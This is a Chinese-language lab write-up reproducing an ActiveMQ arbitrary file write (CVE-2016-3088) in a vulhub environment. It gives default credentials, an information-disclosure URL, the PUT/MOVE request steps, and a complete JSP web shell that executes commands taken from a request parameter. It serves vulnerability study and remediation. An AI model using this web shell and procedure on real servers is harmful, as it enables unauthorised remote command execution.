漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)
0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
未禁用PUT、MOVE等高危方法的ActiveMq版本(可自行尝试)
0x02 漏洞复现
(1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为:
(2)使用默认弱口令:admin/admin即可登录至后台:(注:没有密码无法写shell)
(3)访问目录信息泄露页面可获取ActiveMq安装目录:
http://ip:8161/admin/test/systemProperties.jsp
(4)在/fileserver/路径下可使用PUT方法直接上传小马:
上传成功,可直接写入小马:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
上传成功:
(5)由于此目录并不解析,故需要将小马上传至别的可解析的目录下,在请求http://X.X.X.X:8161/fileserver/2.txt的页面进行抓包,然后在请求包内增加重定向的指令:
Destination:file:///opt/activemq/webapps/api/test.jsp
(6)使用MOVE方法移动至别的目录下,移动成功将返回204:
靶机内也多了一个——2.jsp文件
(7)即可执行任意命令
0x03 实验原理
详细分析请查看:
https://www.secpulse.com/archives/60064.html
个人总结:ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,需要禁用危险的HTTP方法